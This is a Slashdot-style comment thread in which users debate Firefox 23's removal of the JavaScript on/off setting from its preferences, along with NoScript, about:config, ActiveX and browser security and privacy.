Mozilla seems to be a lot like Microsoft here: they are focusing on making the third parties happy and content while not paying too much attention to the users. I really do suspect that an important factor for not making it easy to disable javascript is because the third parties who want to turn the browser in an application platform do not want users to disable javascript.

Re:why?

[Anonymous Coward]

All good until "You just sound like an ignorant drama queen". Unnecessary.

Re:why?

[Anonymous Coward]

I've never been in a sandbox that didn't contain cat feces.

Re:why?

[Darinbob]

And remember, ActiveX was promoted by the same company that decided that it was a good idea to execute email attachments by default.

Re:why?

[xstonedogx]

My odds of being struck by lighting while playing golf are also very rare these days. Doesn't make it a good idea.

So... It's a bad idea to play golf?

I think that means it's a bad idea to play golf indoors even if you've previously destroyed most of the lighting.

Re:why?

[AvderTheTerrible]

If this bullshit disables noscript, then I'm done with firefox, or I will just refuse to downgrade to version 23, and stay with my version 17 E.S.R.

Running noscript and being able to whitelist only sites that I trust is essential for me to keep my sanity on the web. And if you look at what sites want to run javascript when you visit certain pages, it really opens your eyes to just how much god damned advertizing and browser tracking there is on the internet. If a web page needs me to enable 5 third party java script domains, they are not worth my time, because I do not want to allow all kinds of useless shit that adds nothing to the experience and sucks down CPU cycles while sending my habits to some damned advertizing database.

Re: why?

[cbiltcliffe]

Why shouldn't a quad-core machine be able to do processing intensive tasks and browse the web at the same time? Isn't that what multi-core CPU designs were supposed to be for? I certainly remember them being marketed that way.
Now you're telling me I should buy a second machine because the advertising was wrong? That's why people get pissed off at the tech industry. Because the level of bullshit is astronomical.

Re:why?

[Anonymous Coward]

more like sites like Google/Gmail, Facebook and Twitter are completely broken with javascript off.

Re:why?

[narcc]

That's a relief. I was worried about lamp-wielding caddies terrorizing the back nine.

Re:why?

[Blue Stone]

Seriously, for me: No NoScript = No Firefox.

I'll fuck off and use a different browser.

Re:why?

[Anonymous Coward]

Nonsense. Read the Bugzilla ticket attached to the post and you'll see it has nothing to do with the Javascript changes, it's to do with the way that third-party plugins are enabled and disabled in FF 23.

Re:why?

[Anonymous Coward]

Oh, do grow up already. Visiting "about:config" and having a nice search for an option is not worse than having to wade through a bunch of tedious preference panes to find the option there.

Some people need to have the browser dumbed down. You clearly don't. Stop pretending that being very slightly inconvenienced once in a blue moon to change a setting is a pants-wetting experience compared to the newbie who accidentally clicks on a setting to disable Javascript, and has no clue they even did it, or indeed, what Javascript even is.

I sometimes wonder why so many people have such a stick shoved up their butts about such trivial things. Round corners on my UI? BURN THE WITCH! It's like all change is bad, no matter how trivial, unless it's happening to those other guys.

Re:why?

[Carewolf]

It is unfortunately part of the DOM standard. It not just JS, but DOM itself can mark events to prevent default. This means both stealing scroll events and right click events to do something else with them. Scrolling events were actually funny because they count as user-action and could atleast at one point be used to override restrictions to open new windows or hit submit.

Re:why?

[Darinbob]

I've never seen a web site that required the user to install a Firefox plugin in order to work. So ya, the details of how ActiveX works under the hood may not necessarily be wrong, however there are a lot of wrong things in the way it was used, rolled out, configured, etc.

Ie, I don't care that Firefox plugins might be Windows only, or Mac only, etc. If I run Safari I don't care that my Firefox plugins no longer work there (ya, I'll miss adblock but it won't break any web sites). However ActiveX with Windows-only meant that you would visit web sites that could not work on anything but Windows and IE. This is because ActiveX was promoted as a web component to be used as part of a client-side web based application. Firefox plugins do not do that from what I can see. ActiveX wasn't the problem so much as Microsoft's plans and goals for ActiveX, plus their clumsy security of course.

Re:why?

[Darinbob]

I would think that privacy issues are a proper subset of security issues. Everything about privacy is also about security. Yes, you're probably thinking about computer security but there is also financial security and personal security and reputation security.

Re:why?

[oji-sama]

Why would you go to third party and not to about:config if you know what you are doing?

Re:why?

[Darinbob]

And what's scary is that Java was designed for this sort of security almost from the start, whereas it showed up late in the game for JavaScript.

Re:why?

[Anonymous Coward]

The issue is with tracking, exploitation, and other undesirables like drive-by-downloads. If noscript ends up broken in firefox I will be switching for sure.

Any "developer" who cannot code a dynamic html/php application without javascript should hang up their hat.

Re:why?

[jthill]

What exactly is "stupid" about Russian Roulette aside from potential trephination?

Re:why?

[Darinbob]

You know, as much as I think IE is bad, I do like the concept it has of having different settings for different zones (local vs trusted vs internet vs restricted). It would reduce much of the need for having noscript.

Re:why?

[Uberbah]

Not all security issues are related to privacy, but all privacy issues are security issues. The security of your person, papers, effects, etc....

Re:why?

[Anonymous Coward]

I dunno about Flashblock, but Adblock+ is a CPU hog when it starts matching url's using regex. There's a lot of filters that are marked with a Snail icon which can really slow the browser down.

Re:why?

[Darinbob]

It's a bad idea to play golf during a storm. Thus it's a bad idea to use the internet while enabling all JavaScript maybe?

Re:why?

[Anonymous Coward]

The thing is with javascript enabled globally you don't know which ones to worry about. This sounds like the PRISM guys may have gotten to the Mozilla foundation now.

Re:why?

[Jane Q. Public]

"And, if you have to worry about them watching you use their site, you hopefully will leave before giving them any important information anyway."

You have to know about it first, which I think was pretty much the point here.

Re:why?

[SolitaryMan]

That's not what that blog post says (emphasis mine):

As of Firefox 23 there has been a change to how the Plugin API works which will cause QuickJava to quit working.

It does not say anything about the possibility of disabling/enabling scripts.

Re:why?

[Anonymous Coward]

NoScript will still work because it doesn't use that API to disable Javascript elements.

Re:why?

[Anonymous Coward]

> I really do suspect that an important factor for not making it easy to disable javascript is because the third parties who want to turn the browser in an application platform do not want users to disable javascript.

That's some paranoid nonsense. Who (and how) would an organization LEVERAGE that reasoning on firefox? They removed the option from the UI as a matter of usability (reduce options). On this forum, where most everyone uses that feature for various reasons, this seems really stupid and strong enough reason to switch browsers (which I will). There's nothing going on here other than decisions based on priorities that are fundamentally flawed. If you are sophisticated enough to be perusing the preferences, you'd want a JS toggle as an option in the ui. The side effect of breaking a bunch of ff mods is icing on the shitcake.

Re:why?

[Anonymous Coward]

Mozilla isn't taking away the choice of not running Javascript from their users, NoScript and similar plugins will still work.
But if you are completely outraged, then you should change to Dillo since it's obvious that you don't want web pages to work.

Re:why?

[Anonymous Coward]

Surely Mozilla will soon implement a javascript API to detect religious affiliation and race of the user and the associated reporting functions for that cleaner Germ..Unite..Euro.. World Wide Wibble. That will be Mozilla's implementation of the "security equals privacy".

Re:why?

[Anonymous Coward]

If so it will be Fork time. With capital F. And possibly an U somewhere too.

Re:why?

[Bing Tsher E]

The fork already happened, ages ago. Seamonkey is the Mozilla fork that happened when the Firefox devs decided to go crazy and start stripping out useful stuff. Download Seamonkey and use it. It's very up to date because it's based on the same code from Mozilla as Firefox. Also, it has the Composer and Email and other integrated stuff intact.

And NoScript runs on it.

Re:why?

[UltraZelda64]

Well... NoScript offers this feature, and that's how I originally used it. It's called "Temporarily allow top-level sites by default." No idea what the "temporarily" part means because this option enables scripts on the web site you're viewing, there is no temporary about it that I can tell, but occasionally there are still sites that actually require scripts on other domains to function properly.

In the end, I disabled the option, because to be honest--so many sites were wrecking the performance of my entire system, it's just not worth giving them all the ability to run scripts. Sites just abuse the privilege and hog my own CPU cycles, as if they own my machine. Sorry, but no thanks... I don't appreciate my machine running like shit because of some shitty website code.

Re:why?

[UltraZelda64]

Okay--fair point. I leave JavaScript enabled globally, which is its default setting. But I'm pretty sure, at least when I set it up several years ago (still using the same config directory/profile right now), most if not all the "Allow JavaScript to..." checkboxes were selected by default. I most definitely unselected them all myself.

Re:why?

[Anonymous Coward]

Noscript still working for me as of 23 alpha 2

Re:why?

[Anonymous Coward]

Rule #1 of Software Club:

"There is no such thing as security issue-free software"

Re:why?

[Khyber]

I object to your painfully narrow understanding of terms that now have alternate meanings. Such as in the case of fetishes, a cracker is one who likes to get whipped.

How about you drop your 1950s mentality and open your mind?

Re:why?

[Anonymous Coward]

As will a lot of the more technically minded users of firefox most likely. I can only speak for myself and a few friends, but all of us are only using Firefox at the moment due to the control provided by NoScript. If that is removed, there is zero other reason to keep using firefox, I personally hate most of their changes and would keep using 3.XX if it was a viable option. I think the modding options is the #1 thing Firefox has going for it and they are shooting themselves in the foot by cracking down on the options it provides.

TLDR: If you use NoScript (ie disable JavaScript) you know (or should know) what you are doing anyhow, so who cares if its disabled!

Re:why?

[Anonymous Coward]

In our current mindset, it all makes way more sense to have our government run just like a private company. Remove all "citizens" and the whole idea of "the general public" and replace them all with the idea of "customers". Really, what's different than the way it's run now? At least if we all admitted it, we wouldn't have all of these idiots that are willing to die for the company, I mean country. Maybe then other countries would follow suit and next thing you know, the companies will be competing with other companies by making their customers happy. Just think, "An entire country's land-mass, a mere store-front". Honestly folks, do you not see the salty humor in this? It's fucking true already.

The only winning move is to not play. Learn how to grow food, and learn how to love others. Living in any other way, will always eventually end in war and chaos.

my .02

Re:why?

[ShadowRangerRIT]

So, yes, your system is still less secure if you have JS enabled than if you don't.

Perhaps I'm being a bit overly picky, but that's essentially tautological for just about any statement of the form "Your system is less secure if usability/functionality feature X is enabled." Sure, turning off JS makes you more secure. It also dramatically reduces functionality. My computer is even more secure if I unplug the network cable, or encase it in concrete and sink it in the Mariana Trench. But my browsing experience will be affected negatively, to say the least.

Re:why?

[reub2000]

Just use chromium/chrome and whitelist javascript and flash. It makes the browser actually usable on a netbook.

Re:why?

[master_kaos]

Well you know whats funny, out of all the sites my company has developed for people, not one requirement has been "no javascript" (and no there is no tracking either)
Outside of slashdot most people don't give a shit that javascript is enabled, we have never heard one complaint from customers either saying our site doesn't work without javascript. Wake up, it is the 21st century, you get way nicer user interface designs with javascript. Could a lot of sites be designed without it? Sure, but I bet the interface wouldn't be near as nice.

Re:why?

[Anonymous Coward]

I love you. Have my babies.

Re:why?

[Deliveranc3]

Websites are designed to interface with a short term graphical interface. The idea that you need to be able to load generalizable system code seems like a poor idea in general, since it can't do anything that Flash or JS could do without opening up the OS.

Not only was the implementation and signing flawed but the underlying paradigm was poor.

You can say ActiveX sucks and be quite correct.

Re:why?

[Vaphell]

how do you define 3rd party? different domain?
NoScript has an option to allow by default:
- http://www.currentwebsite.com/
- www.currentwebsite.com
- currentwebsite.com

you will still have to whitelist shit, some websites don't work at all without 5 different 3rd party domains.

Re: why?

[UltraZelda64]

Ever have a rogue script on some shitty web site take up 100% of one of your cores, with no easy way to figure out what page it is because you've got several tabs open? Hell, good luck finding out if that bad script is even running directly on one of those pages--chances are it's not, it's some third-party completely unneeded junk running on another domain entirely. NoScript has pretty much eliminated this problem.

I have a dual-core 2 GHz processor and, trust me, when you've effectively got only one useful core because the other one is overloaded... you know it. Never mind the fact that it's not good for the hardware to be running a core at full power/heat all the time, not finding out until it's been burning power for an hour, two, three, or who knows how long. Should I really have to worry about some script running without my knowledge when I go to sleep just because I happened to leave Firefox running with a few dozen tabs open?

And why the hell would I get a second computer if I can solve the problems on the one I have?

Re:why?

[davydagger]

if you've been following court decisions recently, the concept of having lots of money, or political connections, means you are more or less unprosecutable, being deamed "central to the American economy/way of life/psyche", meaning laws only apply to little people.

Re:why?

[Anonymous Coward]

OMG, what??? No way in hell I can use firefox without Noscript on all the untrusted sites. NO WAY.

So it will be safer to stay on some old version of firefox than go to this new one. Man I am SERIOUSLY bummed out. WTF is going on here?!?!? I don't want to use another browser... GAH I hate chrome so bad. Don't make me do it Firefox devs!!!!!

Re:why?

[Anonymous Coward]

+1000 Mod Parent Up!

- Windoze dev since back when the damn windows did not overlap.

Re:why?

[Anonymous Coward]

The issue is more fundamental than that, and it has to do with the protection model of the OS, not the browser.

You see, it is perfectly possible to create an operating system in which native code can be executed without compromising OS integrity or user privacy. As you probably know, most OS have virtual memory protection, which prevents one process/task from accessing data of another task without going through an operating system interface called a systemcall. The problem with the design of both Windows and Unix (and Linux in it's default configuration) is that the interface provided allows the application (or ActiveX control) to decide for itself what resources it wants to access, subject to weak restrictions based on user access rights. For many (20+) years now, CS academia has known that the way to deal with this correctly is through the use of capabilities and roles. Through roles, tasks can be labelled with what resources they have access to by default, and through capabilities tasks must ask a more privileged task which already has the capability for access to a resource.

Under this model, which many research operating systems already implement, the security of native code excution is equivalent to interpreted code such as javascript, for example an untrusted task cannot open user files without asking a privileged task, for example, a file chooser, for a capability on that file. This guarantess that the user has authorised access to that file, as there is no way that task could have received a capability without the user acknowlledging and selecting a file from the chooser dialog. A task could present a fake chooser dialog, but that would not create a capability as capabilities exist outside the processes address space in a kernel data structure (or in the capabilities manager task in a microkernel design).

All of these problems relating to security are in effect consequences of the broken security model that Windows and Linux inherited from unix, and are definitely not unavoidable consequences of running native code.

Re:why?

[VortexCortex]

I'm right with you on the context menu. However, I do disable the context menu on some of my page, but only for my browser games so that I can use that button for game input. FYI: You can force the context menu to be available in FF's settings. You can also pull up the firebug toolbar via menu, then use the inspect element that way (that's how I debug some game stuff without re-enabling context menus).

Re: why?

[Anonymous Coward]

There's nothing you need on a shitty site. Problem solved.

If a site is so bad, it is useless. Get the information, product or service somewhere else.

Re:why?

[idunham]

These days, NoScript can handle blocking Flash.

Some websites have a way of using crappy javascript that takes several minutes to load and pegs the processor on an Atom N270-based netbook.

As far as Adblock goes... I'll just edit /etc/hosts.

Re:why?

[miroku000]

Are there still security issues with having JS enabled?

Yes. Most exploits of web browsers and plugins and such use JavaScript to set up and trigger the exploit.

Re:why?

[bingoUV]

While I am fully pro-choice for the end user, and responsibilities lie with website designer to check the capabilities of the client before displaying data.

But, are you saying that a user who cannot figure out how to install NoScript (or some other plugin for this), cannot find the option in about:config in spite of the scary notice : such a user will understand that the reason the website is not working well is because javascript is not enabled? Or even understand when the website tells them to enable javascript to properly use the website?

I am assuming about:config option exists, of course. The whole point is invalid if it is not.

Re:why?

[Anonymous Coward]

I was going to post the same!

Re:why?

[bingoUV]

But it does mean some sandboxes suck. The ones not sucking now might start any moment. Which, in turn, means there should be a way to not run stuff - sandbox or not.

Re:why?

[Edam]

Not according to my button plugin of choice's author. He indicates it is a change in the API that will make his plugin inoperable.

According to the author's bug report, it's just an API change that he will need to update the extension to use. I don't see anything about the facility to turn off javascript being removed.

Re:why?

[bingoUV]

Doesn't firefox present you with an "Unresponsive Script" dialog in such cases ?

Re:why?

[Anonymous Coward]

are there potential security issues with allowing a unknown 3th party to run code on your machine

hmm, tough one.... OF COURSE THERE ARE

Re:why?

[Elbart]

Next time, you ough to read the links (especially the bugzilla-link) before writing wrong information.
"Plugins can no longer be enabled/disabled using addons like QuickJava or FlashDisable"
This only affects the Java-plugin, not the option of disabling or enabling JavaScript, which can be done in about:config, or addons which function as GUIs for it, by toggling javascript.enabled.

Re:why?

[Anonymous Coward]

Oh FFS...

Firefox 23 breaks this plugin. Firefox 22 broke the GTK native plugin.

When is this release madness that breaks plugins every month going to stop?

Re:why?

[Anonymous Coward]

Mozilla Gecko (the framework Firefox is built on) makes extensive use of XPCOM, which is functionally equivalent of ActiveX in every way, except that it works outside of Windows.

Please show a link to those web pages built as XPCOM objects.

No, not plugins. Pluguins are something you decide to install, just like Firefox is. Plugins are not embedded as a part of a web site, like ActiveX.

Re: why?

[Anonymous Coward]

the advertising was wrong

That's why people get pissed off at any industry.

Re:why?

[Anonymous Coward]

good luck, each day there is more and more websites that simply don't work without javascript soon youll be able to use only google without it, or even worse work but with bugs, next time you think some website is buggy first try to run browser in "clean" mode with all addons disabled and javascript/flash enabled and you might be surprised that you were actually reason website didn't work

Re:why?

[horza]

I disagree it's a little silly, I don't want to give up Firefox as I enjoy the tree-style tabs plugin. However I cannot stand sites that disable the back button or disable my ability to right click on the page. Being able to quickly turn this off by disabling Javascript much improves my productivity. Of course I can use a second browser for difficult sites (not ideal). I already do for my online bank which doesn't work in Firefox. It would be nicer if Firefox produced a "FirefoxLite" as a dumbed down version instead of spoiling the current version.

Phillip.

Re:why?

[Anonymous Coward]

Seriously, for me: No NoScript = No Firefox.

I'll fuck off and use a different browser.

Completely agree. At that point, what differentiates Firefox positively from Chrome or Internet Explorer?

Re:why?

[Anonymous Coward]

Firefox has support? What's the toll free number?

Here's a toll-free URL

Re:why?

[jbolden]

I don't have a problem with the ability to disable a sandbox. I'm not arguing for that. I'm arguing that sandboxing is a very good idea despite Oracle having a tough time. That being said Javascript is far too important for now to be an optional. If Firefox's Javascript sandbox were to start sucking then the response should be to immediately change browsers.

Re:why?

[Josh_Borke]

According to the bug https://bugzilla.mozilla.org/show_bug.cgi?id=873709&resub&utm_source=feedly it will still be an option in about:config

Furthermore, that plugin isn't referring to this javascript at all, instead it's referring to a change in the API for plugins

Re:why?

[higuita]

Just install requestpolicy and you are done.

i use requestpolocy and noscript and yes, its annoying to have to white list things, but after some time you get most of the important things whitelisted and only remains the junk

I only wish is that request policy also enables the blacklist, so i dont bother with some sites never again (facebook, i'm looking at you!)

Re:why?

[mcgrew]

They're talking about removing that functionality.

Re:why?

[oji-sama]

They're talking about removing that functionality.

Where? I read pretty much everything related to this.

Some clarifications:
- This preference is still available in about:config.
- There are add-ons such as NoScript or SettingSanity that will do what you want with more easily accessible UI.

Note that the capability to enable/disable JavaScript easily will return in Firefox 24’s developer tools.

Re:why?

[Cederic]

Sorry, what?

Crackers are what I put butter on. They taste nice.

Re:why?

[deroby]

It's not a bug if it's intentionally !?!

eg. Personally I like context-menus, it's one of the first things I missed when the "no need for a rich client, we can do it with a poor browser replacement"-religion went mainstream. If I click a grid [on a website] and it offers me the options to add a row, delete a row, and I dontknowwhat than I like that a lot better than having the default popup-menu of the browser.

FWIW : I've been running NoScript for ages and I like the idea of (temporarily) white-listing over the global on/off approach. I only wished there was an easier way to 'study' the scripts at hand before I enable an entire domain; even temporary. Then again, I suppose that it wouldn't be too hard for a malware programmer to obfuscate nasty stuff into something that looks benign to a Joe Average like me. I wonder if it would make sense to have some kind of repository where (hashes of) code can be stored and 'voted' upon as being safe or not. I'm sure there's plenty of people with too much time on their hands that would love to hunt down 'bad code'. Then again, the amount of code available on the net must be staggering making it non-practical.

Re:why?

[deroby]

Hehe, I too was thinking of how playing golf in the dark seemed like a much worse idea =)

Re:why?

[bingoUV]

I don't have a problem with the ability to disable a sandbox

Then why you commenting on a particular sandbox (Oracle's) while praising the general model of sandboxing; when the context is the general ability to not run the code in the first place?

If Firefox's Javascript sandbox were to start sucking then the response should be to immediately change browsers

Assuming the sandbox sends a notification in advance about the commencement of suction. Otherwise we need the general ability to not run the code in the first place on which you start analyzing individual sandboxes.

Re:why?

[Nutria]

As far as Adblock goes... I'll just edit /etc/hosts.

Ummm, yeah, I'll go tell my wife+kids right now to deinstall ABP and edit /etc/hosts instead.

Re:why?

[Anonymous Coward]

I'd go AdBlockEdge. Uncompromising add blocking, no "some ads are OK" BS.

I have found that if you use anything more restrictive, like Flashblock and NoScript some basic site functionality breaks.

Re:why?

[alexo]

Apparently a simple change
https://bugzilla.mozilla.org/show_bug.cgi?id=854467

Re:why?

[doccus]

I doubt it ....who still uses IE5? Oh... Nt 351 geeks like me.. ah well, 16 bit exploits were rare there never was a 32 bit IE5 fir the early fully 32 bit MS top of the line OSs.. Why should there have been when IE3 32 bit ran so securely on windows 95B.. Ahh JS "exploits"..those were the days!.. I bought a HUGE vinyl collection from work i got because of Windows PCs back then

Re:why?

[doccus]

Young'uns here know that was humor, right? o...

Re:why?

[idunham]

I didn't mean to recommend it for everyone.

Re:why?

[Anonymous Coward]

Yup. the think that annoys me is the blog post that for some reason has to load 19 different javascript files from 15 different domains.

I put sites into two categories, lets call them web pages and apps. If your Google Docs then fine you need javascript and lots of it and I expect it. If you have a blog page called "how I fixed my broken dishwasher" you don't need 19 different javascript loads.

I am not removing noscript anytime soon.

Re:why?

[backwardsposter]

I have to agree with Jane Q. Public. Confidentiality is one of the three major tenets of information security, and if you don't have that then you don't have security.

Re:why?

[Anonymous Coward]

I'm sure Mozilla and web programmers everywhere will mourn your decision.

O wait, they won't. Bye-bye. Go get yerself a lynx and avoid dem nasty images too.

Re:why?

[Anonymous Coward]

There are most certainly security issues with javascript turned on. It's the primary vector for most drive-by exploits. Until web developers can ensure the sites they create can't be contaminated with malicious javascript, it's just not safe to have it permanently enabled. This decision is therefore stupid, but it's in keeping with the progressive movement towards taking control away from the user (e.g. the loss of user choice over the presentation of common applications such as MS Office).

We're migrating to a closed platforms where the vendor decides how everything will work and we just put up with it. However, this instance is a serious security problem.

Why we need all this javascript is another question - one that has no satisfactory answer to date, except that it gives web designers pretty toys to play with. Nobody has determined objectively that it benefits web site users in the majority of cases.

Re: why?

[cbiltcliffe]

Then your computer is complete shit. I've run Chrome with 50-75 tabs open, at least, (probably more), and had no problems.
Firefox 32 bit, I've currently got about 300 tabs open, and it's slightly slow, but not unworkable, by any means. The worst problem I've found is that it runs out of memory and crashes after several days, because it hits the memory limit for 32 bit programs.

Re:why?

[Culture20]

If it's designed to poll mouse position and only start its "CPU hog" mode once it assumes you're AFK, then it's not unresponsive.

Re: why?

[UltraZelda64]

Might be good content, shitty site. And by shitty site, I actually mean shitty web design. In other words, the stuff I mentioned: loads of unstable scripts.

Re:why?

[Anonymous Coward]

The "integrated stuff" is the problem. I want a browser, not an operating system.

Re:why?

[Dahamma]

Yeah, that was my other thought... I haven't seen many lamp posts on golf courses.

Though after reading it again the best part about his post is the only logical analogy one could actually interpret (after fixing typos) IS in fact that Javascript = golf and hacked = lightning, and that both are "bad ideas".

Other bad ideas in the same vein: driving. flying. cycling. hell, walking. cooking. eating. In general, living - there is a fairly good chance by living something will eventually get you...

Re: why?

[Anonymous Coward]

No. They're not removing it from about:config, so you'll be able to make your browser largely unusable if you REALLY want to.

Re:why?

[kasperd]

If I click a grid [on a website] and it offers me the options to add a row, delete a row, and I dontknowwhat than I like that a lot better than having the default popup-menu of the browser.

A user friendly browser would give you a menu with all the options available, which of course must be rendered in a way that it is clearly visible, which are from the browser and which are from the script.

I can think of four different ways to render it. I am not sure which of those four is most user friendly, any of them would work.

You could have the browser's own items show up first on the menu. Then there would be a separator line before the items from the script. Alternatively the order could be swapped. It would also be possible to have a menu on which the first item is a submenu and right after that submenu follows the items from the script. The submenu would then contain the browser's own items. Alternatively the two could be swapped such that the script's items are in the submenu and the browser's own items are in the main menu after the submenu. Since the browser decides the name of that first submenu, it can use that to make it clear to the user, which items are which.

Re:why?

[Baki]

Using noscript with the option "temporarily allow top-level sites by default" for base 2nd level domains works pretty well most of the time. With this more lenient setting, you do not often have to whitelist anymore.

Re:why?

[Anonymous Coward]

But those THIRD PARTIES could just as easily be crackers. And why make it easier for crackers to run their code on your computer in the way that they want to?

It's economically great for botnet operators, adware companies and anti-virus companies. Why not?

Re:why?

[anyGould]

Some sites have java script that disables context menus (right mouse button) and other things that I don't want. That's why I want to be able to control what my browser does and turn java script off if that gives me a better user experience.

My response when I hit a site that does stupid things with my UI is to close the tab and never go back.

Re:why?

[Fuzzums]

In general I do the same thing. News sires for example.
However some sites are worth it. But that is rare :)

Re:why?

[thunderclap]

'Some people need to have the browser dumbed down?' No, if they are that STUPID then they don't need a computer to begin with. And to my experience with those STUPID enough to actually click on a setting to disable Javascript, and has no clue they even did it, or indeed, what Javascript even is, when I repaired their computer, I charged them double. You are EXPECTED to understand basics on how your computer works, just like you are expected to know how to pump gas and change your oil. If you don't know what it is don't touch it. That is what adblock and no script are for. (also those who don't want the above about:config link). JS is not nor will ever be a trivial thing.
Finally I have absolutely no issue with BURNING THE WITCH! who rounded corners on my UI. My screen isn't rounded so why should my UI be? Basic things people.
However, I also sometimes wonder why so many people have such a stick shoved up their butts. So when did you put yours up there?

Re:why?

[thunderclap]

Inspect element defeats any right click block nicely. and if you hold down the back button you usually can bypass the block there too.

Re:why?

[thunderclap]

If he/she does that, it might fall out.

Re:why?

[thunderclap]

And remember, ActiveX was promoted by the same company that decided that it was a good idea to execute email attachments by default.

And remove the start button, menu and render the desktop in all beautiful squares like its first commercial OS and call it new.

Re:why?

[julesh]

Those kind of attacks are extremely rare these days.

Really? I removed just such a link from a client's web site only a couple of months ago when their shared hosting provider was compromised. And having searched to find what the scripts that were added actually did, I found quite a few reports from other people who had had similar problems. It seems to still happen quite a bit.

Re:why?

[Rakarra]

it just shows how fucking out of touch current mozilla is. it's showing up on their % rate too, so they're trying all kinds of stupid shit and this "the user is a stupid dolt" move from them is just the latest dick move

I think it's much less "user is a stupid dolt" and more "I'm tired of closing all these invalid bug reports." Software development fatigue.

Re:why?

[Rakarra]

Are there still security issues with having JS enabled?

Better question: Are there web sites that are usable without JavaScript? I don't think I have seen one in years.

With reduced functionality, most of them of are still usable. The UI isn't as nice, but gmail still works. Ditto for most content sites.

Re:why?

[thunderclap]

If I could mod you up I would. People forget that places outside of US, Japan and Scandinavia don't have super fast net. I am unsure of anywhere outside the US that actually has unmetered internet for a flat rate (well considering parts of the us are now metered and capped at half a terabyte)

Re:why?

[deroby]

The best way to avoid death is to not get born ? =)

Bit similar to that 'proverb' I once read : Sex is hereditary, if you parents never had there's a big chance you'll never have it either.

Re:why?

[vlueboy]

Another performance-related point: download size
Being on mobile with horrible battery performance and connection speeds, I would routinely force the phone to 2G to save power and load VERY quickly.
A few months ago m.slashdot.org was optional and in beta. It allowed viewing without JS.
That is no longer the case: suddenly, /. forces JS and loading is extremely slow. I have to wait about 30 seconds, and like 10 on wifi per page. The same content loaded in about 3 in the past.

Solution in extensions

[Verteiron]

As long as it doesn't break Noscript, I'm ok with this. It really IS folly to try to use the modern web without any javascript at all, but with Noscript I can still pick and choose which sites are allowed to run it in my browser.

Re:Solution in extensions

[h4rr4r]

How well do screen readers deal with javascript?

I am almost certain it is poorly, as we add more shiny and BS we reduce usability for a lot of folks. Well we actually reduce usability for everyone, but for some people usability goes to zero.

Re:Solution in extensions

[djl4570]

I'm running FF23 beta on my personal system and NoScript is still working as before.

Re:Solution in extensions

[dicobalt]

If it breaks NoScript I'm going to get a shiny new pitchfork and then visit the people who decided to do this.

Re:Solution in extensions

[jockm]

Well if the JS is just manipulating the DOM (as is the most common case) it should be as good or bad as the average web page. If they are drawing their own UI on using the Canvas element (or SVG) — as is much less common — then it is a problem.

Re:Solution in extensions

[Hatta]

The folly is in writing pages that cannot be viewed without javascript. If you want to run software, run it on your computer, not mine, because I don't trust your code.

And anyway, there's very little that actually uses javascript for anything useful. Most sites that are unusable without javascript could have easily been coded to be usable. Are drop down menus really so critical? If anything there needs to be more pushback against sites that don't degrade gracefully, not less.

Re:Solution in extensions

[Anonymous Coward]

I do about half of my browsing with javascript disabled. Why? Because it's much snappier. What am I missing? Nothing, because out of simple experience, I already know how each website I use behaves with it turned off.

For example, the only useful thing javascript gives me on slashdot is the ability to "open" hidden posts directly within the thread. Everything else is useless to me, and for that reason, I browse slashdot with javascript turned off except in the case of a more interesting discussion.

I basically use javascript "as necessary", with my default being "off". If firefox makes it impossible to do this, I will simply stop upgrading.

Re:Solution in extensions

[Anonymous Coward]

How well do screen readers deal with javascript?

Sorry, but it's the screen reader developers who need to keep up here, not the browser makers who need to stay behind. That's what ARIA is for.

Re:Solution in extensions

[Anonymous Coward]

I'm disappointed they didn't take the smart way and implement NoScript directly into the browser. Yes, leave it on for the common user as a default. God knows, defaults become standards. And if they make it a default to disable JavaScript on 3rd party sites only, most of the web will still work without a glitch.

I can see this decision being based on the number of complaints about people who disable JavaScript when they are actually trying to disable the Java Plugin, which has been the target of so many exploits over the past year. With regards to the Java Plugin, Safari is the only browser to make this right by disabling the Java Pluting automatically if you don't use for X number of days, and giving the explicit option to turn it back on when it's finally needed.

Re:Solution in extensions

[h4rr4r]

Probably, but I wish they would not have too.

This web2.0 stuff sucks. I want something to keep an all text web around.

Re:Solution in extensions

[Anonymous Coward]

Actually, you can get by fine without any javascript (or java, btw) at all. I've been doing just that for years. Now I have to run yet another damn plug-in because the Firefox team wants to redesign their browser solely for dumb people.

Re:Solution in extensions

[Anonymous Coward]

Well we actually reduce usability for everyone

This is quite the exaggerated statement.

Re:Solution in extensions

[girlintraining]

I'm running FF23 beta on my personal system and NoScript is still working as before.

People seem to be forgetting that javascript can break a lot of accessibility readers. Everything about HTML, CSS, etc., was about separating content from layout. Javascript shits on that entire model, as does Java, ActiveX, and most other plugins.

Web developers should continue to create websites that don't require javascript, and we shouldn't be in such a hurry to move away from that. The promise of the internet was accessibility, the ability to freely share information, and to connect everything together.

This push towards app-ification of the internet, the W3C caving to DRM in HTML5... it's after the very heart and soul of the internet. The internet we built, as hackers, as creatives, as professors, academics, researchers, scientists... it's being gutted. And Firefox, the white horse of the "free" internet, in it's 11th hour of need, chooses this?

They should be ashamed.

Re:Solution in extensions

[julesh]

Well if the JS is just manipulating the DOM (as is the most common case) it should be as good or bad as the average web page

Depends. A lot of sites seem to get built these days that assume the user has a way to trigger onmouseover events. This isn't necessarily true.

Re:Solution in extensions

[jeffmeden]

As long as it doesn't break Noscript, I'm ok with this. It really IS folly to try to use the modern web without any javascript at all, but with Noscript I can still pick and choose which sites are allowed to run it in my browser.

The one thing that NoScript is missing is the option to say "if the site imports scripts from fewer than X domains, just run them all". That would smooth the process out quite a bit. Sites that import from 25 different domains just for the privilege of taking over my monitor to display ads don't even deserve the CPU cycles that Adblock Plus will spend on them.

Re:Solution in extensions

[h4rr4r]

I guess, for stupid people maybe you are correct.

Re:Solution in extensions

[jeffmeden]

I do about half of my browsing with javascript disabled. Why? Because it's much snappier. What am I missing? Nothing, because out of simple experience, I already know how each website I use behaves with it turned off.

For example, the only useful thing javascript gives me on slashdot is the ability to "open" hidden posts directly within the thread. Everything else is useless to me, and for that reason, I browse slashdot with javascript turned off except in the case of a more interesting discussion.

I basically use javascript "as necessary", with my default being "off". If firefox makes it impossible to do this, I will simply stop upgrading.

I used to leave Javascript off by default (with noscript). About the 5th time that I spent 10 minutes filling in an eCommerce form only to find out that it had an external script dependency that was blocked and required me to reload the whole page with scripts enabled and hence fill it out all over again, i threw a brick at my monitor out of rage. Now, I just shop at the mall.

Re:Solution in extensions

[amicusNYCL]

The folly is in writing pages that cannot be viewed without javascript.

